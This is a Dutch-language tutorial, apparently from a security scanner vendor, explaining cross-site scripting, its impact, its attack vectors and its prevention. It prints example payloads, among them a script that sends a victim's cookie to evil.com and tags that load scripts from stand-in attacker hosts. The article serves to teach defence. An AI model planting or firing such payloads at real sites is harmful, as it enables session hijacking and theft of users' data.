Cross-site Scripting (XSS) is een client-side code injectie aanval. De aanvaller probeert kwaadaardige scripts uit te voeren in de webbrowser van het slachtoffer door kwaadaardige code op te nemen in een legitieme webpagina of webapplicatie. De eigenlijke aanval vindt plaats wanneer het slachtoffer de webpagina of webapplicatie bezoekt die de kwaadaardige code uitvoert. De webpagina of webtoepassing wordt een middel om het schadelijke script in de browser van de gebruiker af te leveren. Kwetsbare vehikels die vaak voor Cross-site Scripting-aanvallen worden gebruikt, zijn forums, message boards en webpagina’s waarop commentaar kan worden gegeven.

Een webpagina of webapplicatie is kwetsbaar voor XSS als deze gebruikmaakt van niet-gesanitiseerde gebruikersinvoer in de uitvoer die wordt gegenereerd. Deze gebruikersinvoer moet vervolgens door de browser van het slachtoffer worden geparseerd. XSS-aanvallen zijn mogelijk in VBScript, ActiveX, Flash en zelfs CSS. Ze komen echter het meest voor in JavaScript, vooral omdat JavaScript van fundamenteel belang is voor de meeste browse-ervaringen.

“Is Cross-site Scripting niet het probleem van de gebruiker?”

Als een aanvaller een XSS-kwetsbaarheid op een webpagina kan misbruiken om willekeurige JavaScript in de browser van een gebruiker uit te voeren, is de beveiliging van die kwetsbare website of kwetsbare webapplicatie en de gebruikers ervan in gevaar gebracht. XSS is niet het probleem van de gebruiker, zoals elk ander beveiligingslek. Als uw gebruikers er last van hebben, dan heeft u er last van.

Cross-site Scripting kan ook worden gebruikt om een website te beschadigen in plaats van de gebruiker aan te vallen. De aanvaller kan geïnjecteerde scripts gebruiken om de inhoud van de website te veranderen of zelfs om de browser om te leiden naar een andere webpagina, bijvoorbeeld een die kwaadaardige code bevat.

Wat kan de aanvaller doen met JavaScript?

XSS-kwetsbaarheden worden als minder gevaarlijk gezien dan bijvoorbeeld SQL-injectie kwetsbaarheden. De gevolgen van de mogelijkheid om JavaScript op een webpagina uit te voeren lijken op het eerste gezicht niet ernstig. De meeste webbrowsers voeren JavaScript uit in een zeer streng gecontroleerde omgeving. JavaScript heeft beperkte toegang tot het besturingssysteem en de bestanden van de gebruiker. JavaScript kan echter nog steeds gevaarlijk zijn als het wordt misbruikt als onderdeel van kwaadaardige inhoud:

• Malieus JavaScript heeft toegang tot alle objecten waartoe de rest van de webpagina ook toegang heeft. Dit omvat ook toegang tot de cookies van de gebruiker. Cookies worden vaak gebruikt om sessietokens op te slaan. Als een aanvaller de sessie-cookie van een gebruiker kan bemachtigen, kan hij zich voordoen als die gebruiker, acties namens de gebruiker uitvoeren en toegang krijgen tot gevoelige gegevens van de gebruiker.
• JavaScript kan de browser DOM lezen en daar willekeurige wijzigingen in aanbrengen. Gelukkig is dit alleen mogelijk binnen de pagina waarop JavaScript wordt uitgevoerd.
• JavaScript kan het XMLHttpRequest object gebruiken om HTTP-verzoeken met willekeurige inhoud naar willekeurige bestemmingen te sturen.
• JavaScript in moderne browsers kan HTML5 API’s gebruiken. Het kan bijvoorbeeld toegang krijgen tot de geolocatie van de gebruiker, de webcam, de microfoon en zelfs tot specifieke bestanden van het bestandssysteem van de gebruiker. De meeste van deze API’s vereisen opt-in van de gebruiker, maar de aanvaller kan social engineering gebruiken om die beperking te omzeilen.

Het bovenstaande, in combinatie met social engineering, stelt criminelen in staat om geavanceerde aanvallen uit te voeren, waaronder cookiediefstal, het planten van trojans, keylogging, phishing, en identiteitsdiefstal. XSS-kwetsbaarheden bieden de perfecte basis om aanvallen te laten escaleren naar ernstigere aanvallen. Cross-site Scripting kan ook worden gebruikt in combinatie met andere soorten aanvallen, bijvoorbeeld Cross-Site Request Forgery (CSRF).

Er zijn verschillende soorten Cross-site Scripting-aanvallen: opgeslagen/persistente XSS, gereflecteerde/niet-persistente XSS, en DOM-gebaseerde XSS. U kunt er meer over lezen in het artikel Soorten XSS.

Hoe Cross-site Scripting werkt

Een typische XSS-aanval verloopt in twee fasen:

1. Om kwaadaardige JavaScript-code in de browser van een slachtoffer uit te voeren, moet een aanvaller eerst een manier vinden om kwaadaardige code (payload) te injecteren in een webpagina die het slachtoffer bezoekt.
2. Daarna moet het slachtoffer de webpagina met de kwaadaardige code bezoeken. Als de aanval op bepaalde slachtoffers is gericht, kan de aanvaller social engineering en/of phishing gebruiken om een kwaadaardige URL naar het slachtoffer te sturen.

Om stap één mogelijk te maken, moet de kwetsbare website direct gebruikersinvoer in zijn pagina’s opnemen. Een aanvaller kan dan een kwaadaardige string invoegen die binnen de webpagina wordt gebruikt en door de browser van het slachtoffer als broncode wordt behandeld. Er zijn ook varianten van XSS-aanvallen waarbij de aanvaller de gebruiker via social engineering naar een URL lokt en de payload deel uitmaakt van de link die de gebruiker aanklikt.

Het volgende is een stukje server-side pseudocode dat wordt gebruikt om het meest recente commentaar op een webpagina weer te geven:

print "<html>"print "<h1>Most recent comment</h1>"print database.latestCommentprint "</html>"

Het bovenstaande script haalt simpelweg het meest recente commentaar uit een database en voegt dit toe aan een HTML-pagina. Het gaat ervan uit dat het afgedrukte commentaar alleen uit tekst bestaat en geen HTML-tags of andere code bevat. Het is kwetsbaar voor XSS, omdat een aanvaller een commentaar kan indienen dat een kwaadaardige payload bevat, bijvoorbeeld:

<script>doSomethingEvil();</script>

De webserver levert de volgende HTML-code aan gebruikers die deze webpagina bezoeken:

<html><h1>Most recent comment</h1><script>doSomethingEvil();</script></html>

Wanneer de pagina in de browser van het slachtoffer wordt geladen, wordt het kwaadaardige script van de aanvaller uitgevoerd. Meestal heeft het slachtoffer dit niet door en is het niet in staat een dergelijke aanval te voorkomen.

Stealing Cookies Using XSS

Criminelen gebruiken XSS vaak om cookies te stelen. Zo kunnen ze zich voordoen als het slachtoffer. De aanvaller kan de cookie op verschillende manieren naar zijn eigen server sturen. Een daarvan is het uitvoeren van het volgende client-side script in de browser van het slachtoffer:

<script>window.location="http://evil.com/?cookie=" + document.cookie</script>

De onderstaande figuur illustreert een stap-voor-stap doorloop van een eenvoudige XSS-aanval.

1. De aanvaller injecteert een payload in de database van de website door een kwetsbaar formulier met kwaadaardige JavaScript-inhoud in te dienen.
2. Het slachtoffer vraagt de webpagina op bij de webserver.
3. De webserver stuurt de browser van het slachtoffer de pagina met de payload van de aanvaller als onderdeel van de HTML-body.
4. De browser van het slachtoffer voert het schadelijke script uit dat in de HTML-body staat. In dit geval stuurt het de cookie van het slachtoffer naar de server van de aanvaller.
5. De aanvaller hoeft nu alleen nog maar de cookie van het slachtoffer te extraheren als het HTTP-verzoek bij de server aankomt.
6. De aanvaller kan nu de gestolen cookie van het slachtoffer gebruiken om zich voor te doen als de aanvaller.

Om meer te weten te komen over hoe XSS-aanvallen worden uitgevoerd, kunt u een artikel raadplegen met de titel A comprehensive tutorial on cross-site scripting.

Cross-site Scripting Attack Vectors

Hieronder volgt een lijst met veelvoorkomende XSS-aanvalsvectoren die een aanvaller zou kunnen gebruiken om de beveiliging van een website of webapplicatie via een XSS-aanval in gevaar te brengen. Een uitgebreidere lijst van XSS payload voorbeelden wordt bijgehouden door de OWASP organisatie: XSS Filter Evasion Cheat Sheet.

<script> tag

De <script> tag is de meest ongecompliceerde XSS payload. Een script tag kan verwijzen naar externe JavaScript code of u kunt de code insluiten in de script tag zelf.

<!-- External script --><script src=http://evil.com/xss.js></script><!-- Embedded script --><script> alert("XSS"); </script>

JavaScript events

JavaScript event attributen zoals onload en onerror kunnen in veel verschillende tags worden gebruikt. Dit is een zeer populaire XSS-aanvalsvector.

<!-- onload attribute in the <body> tag --><body onload=alert("XSS")>

<body> tag

Een XSS payload kan worden afgeleverd in de <body> door event attributen te gebruiken (zie hierboven) of andere meer obscure attributen zoals het background attribuut.

<!-- background attribute --><body background="javascript:alert("XSS")">

<img> tag

Sommige browsers voeren JavaScript uit dat in de <img>-attributen staat.

<!-- <img> tag XSS --><img src="javascript:alert("XSS");"><!-- tag XSS using lesser-known attributes --><img dynsrc="javascript:alert('XSS')"><img lowsrc="javascript:alert('XSS')">

<iframe> tag

Met de <iframe> tag kun je een andere HTML-pagina insluiten in de huidige pagina. Een IFrame kan JavaScript bevatten, maar JavaScript in het IFrame heeft geen toegang tot het DOM van de bovenliggende pagina als gevolg van het Content Security Policy (CSP) van de browser. IFrames zijn echter nog steeds zeer effectief voor het uitvoeren van phishing-aanvallen.

<!-- <iframe> tag XSS --><iframe src="http://evil.com/xss.html">

<input> tag

In sommige browsers, als het type attribuut van de <input> tag is ingesteld op image, kan het worden gemanipuleerd om een script in te sluiten.

<!-- <input> tag XSS --><input type="image" src="javascript:alert('XSS');">

<link> tag

De <link> tag, die vaak wordt gebruikt om te linken naar externe stylesheets, kan een script bevatten.

<!-- <link> tag XSS --><link rel="stylesheet" href="javascript:alert('XSS');">

<table> tag

Het achtergrondattribuut van de <table> en <td> tags kan worden misbruikt om naar een script te verwijzen in plaats van naar een afbeelding.

<!-- <table> tag XSS --><table background="javascript:alert('XSS')"><!-- <td> tag XSS --><td background="javascript:alert('XSS')">

<div> tag

De <div> tag, vergelijkbaar met de <table> en <td> tags, kan ook een achtergrond specificeren en dus een script insluiten.

<!-- <div> tag XSS --><div style="background-image: url(javascript:alert('XSS'))"><!-- <div> tag XSS --><div style="width: expression(alert('XSS'));">

<object> tag

De <object> tag kan worden gebruikt om een script van een externe site op te nemen.

<!-- <object> tag XSS --><object type="text/x-scriptlet" data="http://hacker.com/xss.html">

Is uw website of webapplicatie kwetsbaar voor Cross-site Scripting

Cross-site Scripting-kwetsbaarheden zijn een van de meest voorkomende kwetsbaarheden van webapplicaties. De OWASP-organisatie (Open Web Application Security Project) noemt XSS-kwetsbaarheden in hun OWASP Top 10 2017-document als het op een na meest voorkomende probleem.

Gelukkig is het eenvoudig te testen of uw website of webapplicatie kwetsbaar is voor XSS en andere kwetsbaarheden door een geautomatiseerde webscan uit te voeren met de Acunetix-kwetsbaarheidsscanner, die een gespecialiseerde XSS-scannermodule bevat. Volg een demo en kom meer te weten over het uitvoeren van XSS-scans op uw website of webapplicatie. Een voorbeeld van hoe u met Acunetix blinde XSS-kwetsbaarheden kunt detecteren, vindt u in het volgende artikel: How to Detect Blind XSS Vulnerabilities.

How to Prevent XSS

Om uzelf veilig te houden van XSS, moet u uw input sanitizen. Uw applicatiecode mag nooit gegevens die als invoer zijn ontvangen direct naar de browser uitvoeren zonder deze te controleren op kwaadaardige code.

Voor meer details raadpleegt u de volgende artikelen: XSS-aanvallen voorkomen en Hoe DOM-gebaseerde Cross-site Scripting te voorkomen. U kunt ook nuttige informatie vinden in het XSS Prevention Cheat Sheet dat door de OWASP organisatie wordt onderhouden.

Veel gestelde vragen